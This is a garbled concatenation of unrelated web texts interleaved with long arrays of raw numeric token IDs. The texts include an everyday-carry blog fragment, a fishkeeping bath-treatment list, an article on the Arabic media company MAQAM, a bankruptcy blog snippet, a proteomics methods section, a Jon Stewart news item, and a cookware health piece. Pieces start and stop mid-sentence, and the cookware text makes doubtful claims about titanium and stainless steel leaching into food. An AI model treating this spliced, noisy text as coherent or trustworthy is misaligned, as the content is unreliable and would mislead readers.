21038, 26108, 347, 247, 3216, 22071, 921, 285, 2529, 347, 346, 537, 66, 19684, 7389, 11781, 273, 11012, 285, 20021, 3446, 187, 187, 3788, 50, 2300, 556, 671, 644, 26873, 342, 9745, 26503, 4466, 281, 253, 6359, 17068, 15, 380, 2567, 7208, 8317, 684, 342, 1755, 8365, 10846, 432, 253, 346, 27716, 257, 2363, 3, 824, 347, 12772, 7958, 13, 18730, 66, 1219, 14, 43, 1370, 1094, 571, 285, 34423, 616, 3565, 4384, 4375, 15, 50276, 3788, 50, 2300, 310, 253, 760, 26503, 3420, 50276, 14360, 273, 253, 5625, 20369, 273, 253, 1777, 251, 5576, 25475, 15, 6908, 50, 2300, 434, 3440, 5203, 556, 247, 3646, 273, 760, 18738, 10846, 327, 271, 11855, 3720, 285, 616, 22970, 3797, 6993, 824, 347, 22437, 11417, 13, 47683, 22437, 49298, 382, 34442, 267, 443, 297, 785, 13, 427, 454, 5582, 25454, 338, 13, 427, 3230, 70, 13, 714, 528, 610, 25454, 338, 13, 6393, 31316, 10053, 13, 353, 23611, 26878, 13, 285, 253, 45817, 14, 43, 11105, 1387, 388, 1944, 11105, 15, 2490, 187, 17831, 8553, 452, 2361, 326, 253, 2567, 7208, 34423, 34251, 5997, 1690, 5373, 323, 36912, 8632, 968, 28495, 15808, 74, 26444, 313, 4045, 5285, 1293, 378, 6609, 582, 2739, 14137, 13, 27873, 262, 323, 24076, 13, 29, 709, 21760, 40, 11983, 27873, 262, 275, 32880, 16540, 370, 48616, 342, 2233, 6, 273, 16256, 1469, 281, 36912, 8632, 968, 28495, 15808, 74, 26444, 3446, 187, 187, 688, 2380, 281, 253, 3394, 273, 253, 8365, 10039, 534, 3407, 275, 4267, 13, 327, 4247, 3349, 13, 4332, 13, 6908, 50, 2300, 2530, 247, 9940, 4422, 285, 3531, 616, 3565, 6745, 285, 7879, 7223, 715, 3153, 28468, 13, 9610, 512, 5841, 13, 16530, 13, 28311, 13, 7963, 13, 3492, 13, 285, 3668, 432, 10253, 13, 4933, 10253, 2458, 762, 253, 8573, 28398, 2289, 281, 616, 4156, 8446, 1309, 253, 22437, 15033, 273, 4332, 15, 6408, 326, 673, 352, 369, 2361, 253, 3275, 4750, 14116, 512, 36367, 285, 9119, 19944, 616, 7989, 285, 8446, 2613, 762, 253, 29751, 346, 18105, 5881, 33, 3788, 50, 2300, 995, 14949, 32380, 11901, 598, 2289, 3904, 13, 1480, 8153, 12453, 323, 13230, 4384, 4375, 13, 1980, 8945, 4481, 3904, 13, 2614, 23672, 1491, 285, 4375, 4768, 10253, 13, 285, 5950, 4481, 5841, 432, 7815, 275, 10253, 15, 6908, 50, 2300, 4821, 281, 1304, 327, 253, 8365, 10039, 275, 27664, 30160, 313, 53, 328, 261, 757, 10532, 582, 10253, 13, 21789, 1949, 13, 9271, 8202, 10109, 3660, 13, 27412, 13, 36364, 571, 13, 40983, 13, 17959, 5079, 2137, 13, 13268, 13, 473, 1342, 13, 16158, 20498, 13, 285, 2439, 253, 10515, 5791, 285, 3729, 7531, 15, 50276, 22674, 9610, 310, 4879, 323, 1146, 5258, 561, 2149, 13, 440, 49539, 13, 285, 247, 1480, 10675, 273, 253, 18162, 6941, 20985, 1475, 253, 1533, 281, 2793, 253, 3585, 17009, 347, 597, 5108, 15, 50276, 1552, 3982, 690, 14226, 347, 973, 347, 14672, 327, 6745, 285, 7879, 1955, 281, 253, 19908, 285, 5258, 561, 2149, 3753, 273, 690, 273, 253, 9319, 15, 831, 10171, 7369, 275, 616, 4384, 4375, 3551, 762, 23180, 24764, 8104, 275, 5768, 273, 4332, 275, 2380, 281, 616, 7031, 285, 9610, 327, 253, 3585, 17009, 15, 2490, 187, 2374, 4596, 374, 13, 4050, 253, 2567, 4197, 247, 747, 921, 7429, 49185, 41976, 326, 594, 2080, 556, 760, 644, 2130, 275, 10497, 15, 5220, 13, 347, 273, 4104, 13, 253, 3806, 281, 247, 21924, 3906, 327, 616, 4384, 2670, 369, 16092, 5176, 1293, 271, 15687, 285, 7932, 342, 247, 15878, 18088, 581, 15, 187, 187, 4941, 187, 187, 7504, 4859, 187, 495, 35, 11263, 13, 3690, 15, 23607, 25729, 19668, 187, 1413, 27, 17831, 4413, 273, 253, 1986, 2077, 187, 1413, 27, 24850, 280, 3440, 34, 23307, 1025, 13, 322, 18917, 43584, 1916, 23560, 187, 187, 5804, 368, 1818, 390, 10007, 634, 13165, 32, 187, 187, 2374, 11136, 273, 380, 5405, 7454, 273, 10766, 330, 11305, 1299, 9269, 275, 10372, 2145, 327, 6794, 13, 5080, 884, 13, 4240, 15, 187, 187, 1231, 452, 8042, 562, 7418, 2069, 275, 436, 5311, 253, 2616, 326, 403, 908, 275, 8925, 26281, 323, 247, 10372, 2145, 13165, 15, 1916, 39994, 13, 10372, 2145, 310, 1929, 347, 253, 773, 4762, 333, 420, 13165, 1806, 534, 778, 1581, 368, 281, 4017, 2176, 10434, 1223, 1234, 16948, 954, 390, 512, 273, 634, 6735, 275, 247, 49951, 1039, 15, 1916, 19478, 323, 10372, 2145, 13, 368, 878, 281, 2525, 2176, 6021, 6095, 15, 743, 3745, 281, 1056, 3963, 10762, 310, 5667, 323, 36362, 8811, 281, 19478, 323, 436, 1511, 273, 13165, 15, 1723, 13, 752, 604, 634, 4112, 2544, 285, 368, 403, 642, 3356, 2104, 281, 1056, 634, 10762, 347, 18627, 275, 634, 13165, 4345, 32, 187, 187, 43755, 437, 2499, 5405, 4726, 457, 84, 24547, 8339, 6516, 2792, 562, 326, 13, 275, 690, 5989, 13, 368, 1537, 320, 2104, 281, 2748, 247, 11237, 323, 634, 10372, 2145, 13165, 2098, 15, 1198, 1650, 13, 368, 778, 1089 ]

ve posted a list of items that amount to a pocket dump. Is my list biased? Sure. I have a few items I tend to lean on more than others, and some items I may deem not worth the hassle of carrying. The real core of EDC is to carry what makes sense for you. Keep a mental tally running for the next week or two and see how many times you say “I wish I had a ____ with me”. Then you’re going to be off and running on the way to building your own EDC, and maybe I’ll be looking at your pocket dump on Twitter soon!![](brjcancer00513-0013.tif "scanned-page"){.125} ![](brjcancer00513-0014.tif "scanned-page"){.126} ![](brjcancer00513-0015.tif "scanned-page"){.127} ![](brjcancer00513-0016.tif "scanned-page"){.128} ![](brjcancer00513-0017.tif "scanned-page"){.129} ![](brjcancer00513-0018.tif "scanned-page"){.130} Bath treatment (fishkeeping) Bath treatments are disease treatments that originated since the earliest days of goldfish culture. They are easy to carry out. One of the most effective procedure is called the salt bath which is quite effective in eradicating ciliated parasites from the fish. However, there are also useless, thus not recommended, bath treatments such as the use of certain antibiotics or vitamins in the bath. Bath treatment can either be short-term (a "dip") or long-term (from a few hours to 12 or 24 hours or longer). Medications used in bath treatments Salt: the most effective bath treatment, and is used to eliminate ciliated protozoan parasites (including ich in small fish); also used to curb the absorption of nitrite, and to reduce the osmotic pressure exerted by fresh-water on any hole in the skin or gill; Dosage and dosing: To produce a 0.3% salt solution (a treatment dosage against most protozoan parasites), 1 tablespoon of salt is used per gallon of water; to produce a 0.6% salt solution (a treatment dosage against Trichodina), 2 tablespoons of salt for every one gallon of water; and to produce a 0.9% salt solution, 3 tablespoons of salt for every one gallon of water Acriflavine: a powerful dye used for treating protozoans, fungus, lymphocytes, Oodinium and Hexamita Chloramine T: a quaternary ammonium compound used to control bacterial gill disease and flukes Ionic copper: free-form copper used to kill bacteria and parasites Dimilin: an insecticide used against Lernea, Argulus and Ergasilus Droncit: a pill form of praziquantel used to clear flukes and worms Flagyl: this is a brand of metronidazole and is a treatment of choice for Hexamita and Spironucleus Fluke Tabs: used against fluke infestation Formalin: this is formaldehyde gas in water used to as a fungicide and treatment against some bacterial infections, ciliated protozoans and flukes Furazone green: a combination of two or three furan antibiotics Malachite green: a powerful dye that eliminates parasites Methylene blue: a basic thiazine dye used to treat fungal infections Pond Health Guard: a modified version of formalin used to treat flukes Potassium permanganate: a caustic alkali that is effective in treating flukes, fungal infections, bacterial gill disease, bacterial infections of the body and fins, and ciliated protozoans infestations except ich Program: is lufenuron which is effective against Argulus, Lernea and Ergasilus Tramisole: is levamisole phosphate which is a deworming medication References Category:Fish diseasesMAQAM MAQAM is a US-based production company specializing in Arabic and Middle Eastern media. The company was established by a small group of Arabic music and culture lovers, later becoming a division of 3B Media Inc. "MAQAM" is an Arabic word meaning a position of high esteem. It also refers to a musical mode in Arabic music that is based on the quarter-tone scale (Arabic maqam). The company's consumer retail web site is considered to be "The World's biggest on-line source for Arabic Music". In 2007 the company launched the first legal Arabic music digital service, MAQAM MP3, and the first online Arabic music radio/streaming service. The company produces the nationally syndicated radio program Radio MAQAM, which is broadcast weekly on public radio, and is hosted by Bashar Barazi. The show is the first ever Arabic hour on public radio. In 2015, the radio program moved to a two-hour format on some stations, along with several re-runs during the week on others. MAQAM states that as an organization it has "a mission to preserve and promote Arabic and Middle Eastern culture around the world". In 2001 the company co-produced a commemorative album for Iraqi oud player Munir Bashir entitled Mesopotamia. This was followed by another oud album for Iraqi Oud prodigy Asim Al Chalabi entitled Monajat. In 2005, the company premiered the first Broadway-style theatrical production of Arabic and Middle Eastern dance and music in Tokyo, Japan called A Dream of Arabia. This was followed by a series of shows in Asia and then the US premier in Chicago on June 12, 2008. The show received wide coverage in the media, and was critically praised as a groundbreaking show and described as "..a majestic fusion of dance and theatre". MAQAM has also been credited with bringing Arabic culture to the Western mainstream. The company frequently collaborates with top Arab artists from the "golden age" such as Fairuz, Warda Al-Jazairia and sponsors their official web sites. MAQAM is the only Arabic media member of the International Federation of the Phonographic Industry. MAQAM's music label has a policy of only accepting artists on an exclusive basis and their roster includes acts such as Egyptian Academy, famed Egyptian percussionist Gamal Gomma, Nourhan Sharif, Nanae, Yousry Sharif, Mary Ellen Donald, Mimi Spencer, and the Oriental-Jazz group Hijazz. Media accounts have reported that the company frequently sponsors charitable causes including benefits for Médecins Sans Frontières (Doctors without Borders), food drives, Benefit for Gaza,<ref>"Gaza Benefit in NYC raises $6000 with 100% of profits going to Médecins Sans Frontières". In response to the events of the Arab Spring which began in 2010, on January 28, 2011, MAQAM provided a dedicated website and turned their official Facebook and Twitter pages into live feeds, reporting all calls, emails, tweets, photos, video, and news from Egypt, giving Egyptians under the internet blockade access to their global audience during the Egyptian Revolution of 2011. During that time it was reported the production staff suspended all productions and mobilized their fan and audience base under the banner "freedom@MAQAM", continuously broadcasting dial up access numbers, direct IP addresses for blocked web sites, local emergency phone numbers, blood donation information and sites throughout Egypt, and recorded phone calls from citizens in Egypt. MAQAM continued to report on the Arab Spring in Tunisia (Tunisian revolution), Egypt, Bahrain, Libyan Civil War, Yemen, Algeria, Morocco, Syrian civil war, Jordan, Oman, Saudi Arabia, and across the Middle East and North Africa. Their reporting is noted for being uncensored, unedited, and a direct broadcast of the protests allowing viewers around the world to experience the revolutions as they happen. This brought some criticism as well as complaints on Facebook and Twitter due to the graphic and uncensored nature of some of the posts. This involvement resulted in their web sites coming under brutal malicious attacks in summer of 2011 in response to their coverage and reporting on the revolutions. On November 2, 2012 the company produced a new show entitled Arabian Journey that so far has only been available in Asia. Also, as of 2015, the reference to a Madrid office on their web site was quietly removed without an announcement and replaced with a Las Vegas one. References External links 3B Media, Inc. Official Website Category:Media companies of the United States Category:Arabic musicA Personalized, Sensitive Approach To Bankruptcy Can you change or modify your bankruptcy? On behalf of The Law Office of Kim Covington posted in Chapter 13 on Friday, February 10, 2017. We have pointed out numerous times in this blog the factors that are used in determining eligibility for a Chapter 13 bankruptcy. To recap, Chapter 13 is known as the “repayment bankruptcy,” which may allow you to protect certain assets while repaying most or all of your debt in a manageable way. To qualify for Chapter 13, you need to meet certain income requirements. An ability to make regular payments is essential for Eugene residents to qualify for this type of bankruptcy. However, what if your situation changes and you are no longer able to make your payments as outlined in your bankruptcy agreement? Cornell University Law School’s Legal Information Institute points out that, in some circumstances, you might be able to request a modification for your Chapter 13 bankruptcy plan. For example, you may find

[ 36, 28, 2603, 3276, 13, 7346, 3272, 36, 481, 380, 2709, 4884, 8667, 313, 6784, 46, 10, 4438, 369, 3732, 323, 7852, 16, 3338, 5481, 313, 55, 10914, 5428, 5236, 50, 28889, 3871, 53, 5851, 40, 1277, 27, 278, 16, 91, 898, 1449, 15, 22, 19167, 12387, 22, 15, 22, 559, 854, 2357, 15, 24, 28, 657, 10914, 5428, 5236, 50, 28889, 3871, 53, 5851, 7283, 14, 1447, 1012, 36, 23, 13, 1010, 47, 21, 696, 51, 27, 278, 16, 91, 898, 1857, 15, 22, 19167, 12643, 22, 15, 22, 559, 854, 2597, 15, 24, 10, 342, 19400, 285, 15708, 873, 387, 7288, 285, 3387, 657, 13, 2975, 15, 26595, 255, 5576, 5241, 2170, 11878, 875, 440, 22027, 285, 13130, 15015, 19419, 253, 13562, 6128, 15, 12144, 5482, 497, 908, 281, 7484, 18543, 9191, 285, 247, 4872, 9077, 1566, 313, 18, 16, 6027, 42428, 10, 369, 908, 323, 21652, 15, 187, 187, 21214, 1783, 1712, 84, 21, 64, 26, 94, 187, 15879, 187, 187, 3233, 403, 4469, 347, 1599, 3279, 7388, 15, 18300, 6260, 497, 2684, 281, 7277, 253, 7155, 273, 353, 3887, 32658, 14, 18, 285, 353, 3887, 32658, 14, 20, 2173, 2949, 39, 7072, 2762, 2494, 14, 28863, 980, 846, 21750, 1320, 342, 253, 3969, 15015, 15, 21386, 3268, 369, 6760, 407, 247, 24688, 44519, 42017, 14, 8944, 343, 30568, 5222, 1319, 1071, 285, 247, 18433, 475, 85, 11, 1071, 369, 908, 281, 7277, 253, 7155, 273, 3437, 21, 12, 390, 3437, 25, 12, 15006, 7072, 2762, 2494, 28863, 980, 275, 1016, 14773, 15, 18300, 6260, 497, 2684, 970, 4653, 41252, 3694, 15, 187, 187, 6971, 4785, 1843, 10634, 11164, 26572, 31164, 52, 7705, 43087, 1712, 84, 22, 94, 187, 15489, 6877, 187, 187, 1231, 5717, 253, 12761, 49, 1864, 437, 6979, 9509, 13, 253, 28995, 6213, 36503, 346, 25385, 936, 10772, 3, 285, 253, 7532, 17143, 409, 5704, 9509, 273, 253, 45147, 18056, 860, 323, 6485, 7681, 8385, 15, 187, 187, 424, 5707, 4639, 30152, 52, 3481, 22508, 24422, 424, 187, 187, 510, 4477, 11165, 642, 15272, 273, 1600, 15, 187, 187, 424, 6217, 5656, 9242, 27425, 424, 187, 187, 1552, 789, 369, 4516, 407, 3187, 723, 432, 253, 418, 14406, 37379, 458, 13877, 285, 7115, 372, 4568, 48571, 37379, 458, 13877, 285, 2684, 275, 253, 3634, 273, 253, 10118, 4237, 309, 10993, 2086, 4516, 407, 253, 3313, 5489, 13677, 313, 1539, 51, 14, 883, 14, 29317, 57, 14, 29407, 14, 520, 481, 187, 187, 46, 15, 3976, 21601, 1321, 310, 4516, 407, 247, 4098, 432, 253, 5112, 20454, 273, 5489, 15, 187, 187, 5781, 187, 187, 27, 50275, 19741, 3527, 187, 187, 12303, 187, 187, 27, 50275, 4793, 4667, 187, 187, 53, 3077, 187, 187, 27, 50275, 53, 15502, 23608, 839, 21420, 187, 187, 1372, 39, 187, 187, 27, 50275, 5758, 4361, 3665, 187, 187, 27440, 7722, 187, 187, 27, 50275, 468, 41762, 2614, 44763, 1341, 187, 187, 3027, 1410, 187, 187, 27, 50275, 11577, 9412, 10217, 5857, 2670, 187, 187, 9151, 187, 187, 27, 50275, 69, 423, 17425, 894, 187, 187, 1433, 9006, 187, 187, 27, 50275, 3027, 1410, 811, 14, 20594, 2803, 187, 187, 7988, 14, 3338, 16, 3338, 187, 187, 27, 50275, 38390, 19849, 13, 30111, 2280, 25535, 187, 187, 6677, 68, 3479, 187, 187, 27, 50275, 5056, 1327, 12425, 5771, 187, 187, 6784, 46, 187, 187, 27, 50275, 34263, 4884, 8667, 15, 187, 3633, 10155, 3668, 34854, 285, 2714, 5012, 15, 380, 3668, 285, 6281, 326, 2647, 13, 8549, 2129, 1201, 41103, 15, 187, 187, 25324, 19498, 2506, 626, 878, 346, 510, 13992, 10684, 3, 281, 513, 752, 344, 434, 1682, 1929, 323, 27, 5745, 356, 600, 35689, 2158, 5041, 434, 2314, 26691, 15, 187, 187, 510, 3438, 5579, 3167, 1160, 247, 9326, 7286, 327, 7948, 2360, 434, 346, 510, 26502, 10684, 342, 12167, 2065, 6291, 937, 14186, 598, 347, 3918, 10053, 3778, 285, 12360, 342, 9165, 5231, 273, 521, 1211, 275, 247, 12246, 281, 15695, 1171, 253, 747, 5286, 15, 187, 187, 3, 1231, 452, 1620, 11372, 436, 1078, 27, 47908, 1020, 13, 30922, 882, 422, 20142, 937, 19498, 753, 273, 3778, 434, 440, 2156, 19966, 26083, 15, 187, 187, 1466, 776, 3668, 2525, 634, 34272, 15, 380, 3668, 285, 6281, 326, 8213, 13, 8549, 2129, 1201, 41103, 15, 831, 2670, 310, 6885, 407, 48928, 13420, 187, 187, 18130, 275, 521, 806, 1249, 1897, 275, 3906, 556, 11226, 745, 247, 892, 20657, 273, 9165, 7367, 285, 1167, 375, 13, 534, 452, 417, 4783, 440, 44120, 407, 19498, 15, 380, 3569, 2206, 343, 382, 5420, 327, 253, 921, 9398, 247, 1048, 2502, 13898, 285, 3846, 5893, 3405, 1882, 281, 521, 1481, 275, 271, 5165, 1061, 1197, 273, 253, 4007, 15, 187, 187, 6812, 11005, 13, 665, 1669, 346, 510, 13992, 10684, 3, 275, 4223, 4104, 846, 1668, 1107, 275, 253, 18536, 434, 6951, 13, 671, 2183, 2065, 6291, 326, 3778, 556, 643, 9165, 7367, 598, 521, 22910, 15, 380, 806, 27, 1720, 371, 4261, 4135, 281, 6215, 697, 6495, 8799, 281, 3968, 434, 11053, 5680, 15, 187, 187, 3, 1147, 434, 544, 48926, 327, 6742, 1092, 8987, 556, 281, 861, 323, 352, 13, 25014, 13, 597, 452, 281, 2075, 323, 352, 937, 19498, 753, 13, 5048, 272, 3778, 15, 346, 34739, 449, 187, 187, 5872, 13, 19498, 753, 13, 253, 747, 3565, 3448, 273, 253, 1986, 2077, 651, 320, 346, 33443, 84, 283, 85, 449, 187, 187, 3, 1898, 407, 253, 1039, 13, 5293, 273, 326, 13, 686, 17833, 13, 309, 1833, 3984, 12156, 84, 283, 85, 387, 789, 13, 533, 387, 1728, 309, 1353, 1469, 281, 897, 5441, 285, 1524, 1491, 45719, 19498, 753, 15, 187, 187, 10971, 13, 4361, 1223, 2509, 247, 3778, 1607, 3796, 318, 13, 19498, 34800, 271, 9165, 1340, 5742, 323, 253, 1524, 8304, 963, 1940, 251, 14, 28302, 14, 2823, 5945, 275, 7015, 27, 346, 42, 13, 10053, 500, 15, 3778, 13, 513, 11165, 3346, 326, 309, 717, 9286, 272, 449, 187, 187, 6812, 11005, 2879, 27, 346, 510, 26083, 310, 6326, 281, 2363, 253, 4007, 13, 417, 253, 1345, 449, 13030, 8910, 187, 187, 6175, 2819, 323, 253, 4389, 383, 4417, 1935, 13, 581, 2181, 326, 310, 1077, 1774, 310, 849, 17411, 253, 1721, 457, 84, 9305, 2144, 310, 32, 831, 310, 984, 253, 2739, 310, 247, 19183, 10726, 326, 310, 2256, 281, 458, 5250, 604, 18621, 275, 247, 17411, 1721, 390, 3199, 15, 2053, 7006, 326, 452, 458, 2729, 432, 253, 1721, 403, 273, 642, 21989, 1318, 275, 253, 2133, 533, 476, 2847, 1142, 6578, 604, 4136, 281, 29010, 275, 253, 2133, 15, 31916, 1514, 13, 31361, 10194, 285, 3626, 24272, 428, 510, 806, 767, 403, 1077, 4633, 323, 2403, 12398, 36612, 13, 253, 1390, 581, 310, 21896, 10254, 984, 273, 697, 1786, 1318, 689, 643, 637, 12710, 4753, 13, 1281, 457, 84, 1089, 562, 534, 310, 253, 4389, 383, 4417, 1935, 15995, 253, 1264, 32, 187, 187, 53, 10157, 1514, 187, 187, 53, 10157, 1514, 310, 5148, 34663, 10375, 432, 697, 29900, 40422, 587, 13, 407, 5141, 949, 10410, 1487, 285, 16, 263, 29742, 15, 9658, 296, 697, 1027, 4648, 13, 352, 310, 671, 908, 323, 2403, 9205, 37034, 390, 5961, 285, 25548, 47105, 275, 253, 2133, 15, 4923, 273, 436, 1921, 13, 352, 310, 247, 1846, 9927, 326, 352, 476, 457, 85, 513, 667, 5237, 275, 253, 2133, 15, 3973, 273, 512, 13, 31916, 1514, 310, 247, 17411, 3284, 285, 44865, 342, 1846, 3603, 1246, 275, 253, 10825, 751, 7768, 13, 14164, 13, 9946, 13, 285, 1824, 281, 830, 2710, 7006, 15, 4923, 273, 436, 13, 352, 310, 5604, 17411, 281, 2739, 13, 3340, 1309, 12398, 2, 4923, 4250, 310, 247, 16803, 323, 512, 9969, 15, 187, 187, 998, 404, 1417, 19727, 187, 187, 1552, 23924, 310, 2130, 275, 1027, 23129, 13, 253, 4633, 4394, 313, 16691, 4096, 10, 403, 27639, 285, 33152, 15, 380, 27639, 14, 7698, 31361, 10194, 4428, 3603, 751, 26595, 1514, 13, 13104, 293, 13, 32676, 13, 41540, 39534, 13, 285, 34413, 15, 33152, 671, 556, 1029, 2308, 273, 13104, 293, 285, 353, 10270, 67, 3354, 360, 15, 1876, 841, 3603, 403, 4122, 17411, 285, 2740, 1066, 347, 13291, 672, 2739, 310, 18621, 275, 659, 404, 1417, 10194, 4417, 1935, 15, 2053, 13398, 342, 23491, 275, 2739, 285, 830, 12825, 7006, 326, 403, 8312, 275, 253, 2133, 15, 1198, 4227, 13, 247, 1077, 1355, 2408, 273, 4719, 273, 30237, 476, 2847, 12333, 12909, 13, 1698, 2614, 3473, 13, 6616, 11820, 641, 13, 7946, 2923, 13, 4808, 3237, 3966, 15, 22469, 13, 604, 368, 403, 2819, 323, 253, 4389, 383, 4417, 1935, 13, 368, 5082, 457, 85, 971, 281, 5206, 659, 404, 1417, 19727, 15, 187, 187, 39441, 21710, 187, 187, 1552, 2144, 310, 512, 14, 19293, 285, 310, 2223, 6289, 281, 347, 2802, 21423, 24272, 457, 275, 697, 6313, 296, 830, 15, 20988, 24272, 310, 10748, 20788, 285, 352, 2506, 457, 85, 3831, 667, 17110, 390, 5148, 34404, 751, 31916, 1514, 390, 659, 404, 1417, 19727, 15, 14673, 24272, 310, 247, 2233, 6, 6313, 24405, 275, 3753, 751, 9313, 7779, 285, 984, 352, 310, 10748, 40472, 272, 13, 352, 1057, 417, 1379, 281, 3139, 667, 36306, 2, 733, 671, 2550, 320, 908, 323, 23420, 984, 436, 8825, 4850, 1077, 16572, 285, 1892, 285, 1057, 417, 1581, 253, 4444, 457, 84, 5230, 985, 281, 34298, 15, 187, 187, 34, 2969, 17326, 29737, 1071, 2218, 327, 841, 4753, 671, 2722, 326, 253, 1721, 1160, 432, 440, 3129, 30981, 3625, 24272, 2506, 457, 85, 458, 607, 2712, 1223, 12398, 15, 3308, 253, 4389, 383, 2144, 323, 2403, 4417, 1935, 310, 3626, 24272, 1108, 642, 2647, 849, 1199, 359, 3368, 342, 1027, 4753, 13, 436, 512, 14, 19293, 2144, 27125, 731, 512, 2, 187, 187, 43954, 13, 627, 588, 320, 952, 665, 12027, 253, 2934, 273, 7296, 841, 767, 21242, 265, 285, 1655, 33430, 273, 5859, 347, 9129, 9015, 73, 471, 398, 15, 1723, 13, 672, 12392, 253, 5609, 13, 3082, 13, 12342, 13, 9317, 285, 39396, 323, 253, 3045, 273, 4980, 9015, 73, 10892, 13, 352, 1057, 417, 9184, 1199, 432, 253, 3302, 2250, 273, 841, 33430, 273, 5859, 15, 3813, 13, 359, 476, 387, 1878, 1333, 326, 841, 403, 11859, 3210, 281, 253, 9015, 73, 10892, 4866, 15, 380, 45919, 285, 1133, 12710, 5853, 310, 1846, 275, 1142, 13288, 13, 1690, 323, 16775, 13, 281, 534, 1142, 8607, 285, 717, 43643, 452, 1160, 3632, 32912, 285, 949, 13760, 3082, 273, 2561, 15, 187, 187, 510, 9015, 73, 10892, 4866, 310, 253, 3946, 326, 269, 5123, 20178, 16775, 342, 253, 48109, 4866, 15, 4129, 352, 310, 2783, 271, 27736, 4866, 13, 253, 1072, 13, 347, 275, 12672, 310, 327, 253, 1039, 281, 5702, 1320, 13, 285, 1014, 6264, 4648, 285, 2629, 1320, 273, 3082, 13, 824, 347, 247, 8869, 273, 247, 24387, 3645, 323, 1794, 5829, 7545, 285, 253, 9015, 73, 10892, 4866, 13, 347, 247, 1332, 323, 2353, 12947, 15, 2091, 581, 11121, 326, 253, 9015, 73, 10892, 4866, 310, 27736, 13, 359, 1364, 4456, 326, 253, 1270, 4382, 38287, 13, 323, 253, 954, 629, 13, 858, 417, 1014, 452, 247, 9835, 4248, 13, 285, 1199, 273, 352, 2210, 2810, 281, 689, 394, 18639, 1781, 18674, 342, 512, 616, 5702, 1204, 15, 380, 1533, 2544, 285, 12342, 1364, 320, 294, 24286, 670, 752, 275, 958, 310, 5702, 1320, 15, 496, 3645, 3660, 3719, 13, 253, 17832, 3490, 1925, 253, 13575, 369, 2783, 271, 27736, 32827, 407, 17760, 13, 1690, 30525, 2714, 3006, 275, 21041, 285, 2137, 5871, 15, 2091, 359, 10018, 253, 1921, 13, 359, 8968, 326, 597, 497, 987, 281, 1908, 731, 717, 43643, 13, 417, 1907, 16572, 3733, 13, 5536, 8914, 38238, 13, 15285, 21041, 273, 2280, 37290, 347, 271, 8544, 25099, 15, 2726, 436, 5301, 359, 476, 8968, 326, 352, 310, 417, 4503, 281, 1067, 253, 27736, 9015, 73, 10892, 4866, 13, 3738, 275, 690, 2219, 352, 1663, 310, 13, 2429, 281, 4382, 38287, 13, 3738, 597, 452, 644, 10509, 347, 717, 43643, 13, 253, 4723, 285, 387, 253, 1072, 673, 20417, 4780, 597, 3982, 310, 41490, 844, 778, 13, 275, 436, 1083, 13, 1908, 326, 253, 9015, 73, 10892, 4866, 310, 275, 436, 3126, 15, 187, 187, 1628, 1231, 403, 387, 247, 673, 281, 2096, 625, 281, 4709, 1417, 1425, 21088, 11579, 466, 15, 187, 187, 510, 6612, 310, 326, 253, 9015, 73, 10892, 4866 ]

C; source temperature, 120°C). The multiple reaction monitoring (MRM) mode was applied for MS/MS detection (VFDTEIAQVTSDTAVGAR: m/z 940.5 → 1175.5 + 877.7; VFDTEIAQVTSDTAVGA-\[13C6,15N4\]R: m/z 945.5 → 1185.5 + 887.7) with cone and collision set at 55 and 40 V, respectively. Chromatographic peak area ratios between unlabeled and labeled peptides constituted the detector responses. Standard solutions were used to plot calibration curves and a linear regression model (1/× weighting) was used for quantification. Statistical analysis {#s4_9} -------------------- Data are expressed as mean ± SD. Statistical analyses were performed to compare the percentage of MELOE-1 and MELOE-3 specific INFγ positive micro-cultures after sensitization with the corresponding peptides. Normal distribution was evaluated by a Kolmogorov-Smirnov normality test and a paired *t* test was used to compare the percentage of CD4+ or CD8+ IFNγ positive microcultures in each donor. Statistical analyses were performed using PRISM software. SUPPLEMENTARY MATERIALS FIGURES {#s5} =============================== We thank the MicroPICell imaging facility, the Cytometry Facility "CytoCell" and the Mass Spectrometry facility of the SFR Santé for expert technical assistance. **CONFLICTS OF INTEREST** The authors declare no conflicts of interest. **GRANT SUPPORT** This work was supported by fundings from the Ligue contre le Cancer and Association de Recherche contre le Cancer and performed in the context of the LabEX IGO program supported by the National Research Agency (ANR-11-LABX-0016-01). M. Charpentier is supported by a grant from the French ministry of Research. aa : amino acid bp : base pair TIL : Tumor infiltrating lymphocytes ORF : open reading frame PBMC : peripheral blood mononuclear cells IRES : internal ribosome entry site DC : dendritic cell ITAF : IRES trans-acting factor LC-MS/MS : liquid chromatography, tandem mass spectrometry lncRNA : long non coding RNA MRM : multiple reaction monitoring. Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings. Jon Stewart doesn't need "The Daily Show" to do what he's best known for: savagely skewering Washington's politicos. The former TV host made a surprise appearance on Tuesday night's "The Late Show with Stephen Colbert," dressed up as President Donald Trump and armed with executive actions of his own in a bid to spoof the new administration. "We have never faced this before: Purposeful, vindictive chaos," Stewart said of Trump's unorthodox presidency. Let our news meet your inbox. The news and stories that matters, delivered weekday mornings. This site is protected by recaptcha Trump in his first 12 days in office has fired off a flurry of executive orders and memos, which have not gone unnoticed by Stewart. The political satirist appeared on the show wearing a long red tie and dead animal strapped to his head in an apparent parody of the president. Stewart, who left "The Daily Show" in August 2015 after 16 years in the anchor's chair, also told Colbert that Trump has other executive orders up his sleeve. The first: Requiring China to ship its Great Wall to America's southern border. "It's [cash on delivery], Mexico has to sign for it, boom, they have to pay for it," Stewart said, channeling Trump. "Done." Then, Stewart said, the new official language of the United States would be "bulls--t." "And by the way, none of that, 'Sure, I'll speak bulls--t at work, but at home I'm going to use facts and real information,'" Stewart said. Finally, reading while doing a Trump impersonation, Stewart unveiled an executive order specifically for the real estate tycoon-turned-commander in chief: "I, Donald J. Trump, do declare... that I am exhausting." Stewart added: "The presidency is supposed to age the president, not the public."Main menu While looking for the safest cookware, one thing that is very important is how reactive the pot’s raw material is? This is because the food is a biochemical entity that is subject to leaching if cooked in a reactive pot or pan. These compounds that have leached from the pot are of no nutritional value in the body but can cause many diseases if allowed to accumulate in the body. Titanium, stainless steel and natural clay -The first two are very popular for making cooking pots, the last one is gaining momentum because of its health value over other manmade materials, Let’s find out which is the safest cookware amongst the three? Titanium Titanium is metal chemically extracted from its ore rutile, by reduction through chlorides and/or magnesium. Amongst its different uses, it is also used for making surgical inserts or bone and cartilage replacements in the body. Because of this reason, it is a common belief that it can’t do any harm in the body. First of all, Titanium is a reactive element and reacts with common elements present in the atmosphere like oxygen, nitrogen, hydrogen, and water to form various compounds. Because of this, it is certainly reactive to food, especially during cooking! Because heat is a catalyst for all reactions. Stainless Steel This alloy is available in different grades, the popular ones (general purpose) are 304 and 316. The 304-grade stainless steel contains elements like Chromium, Nickel, Carbon, 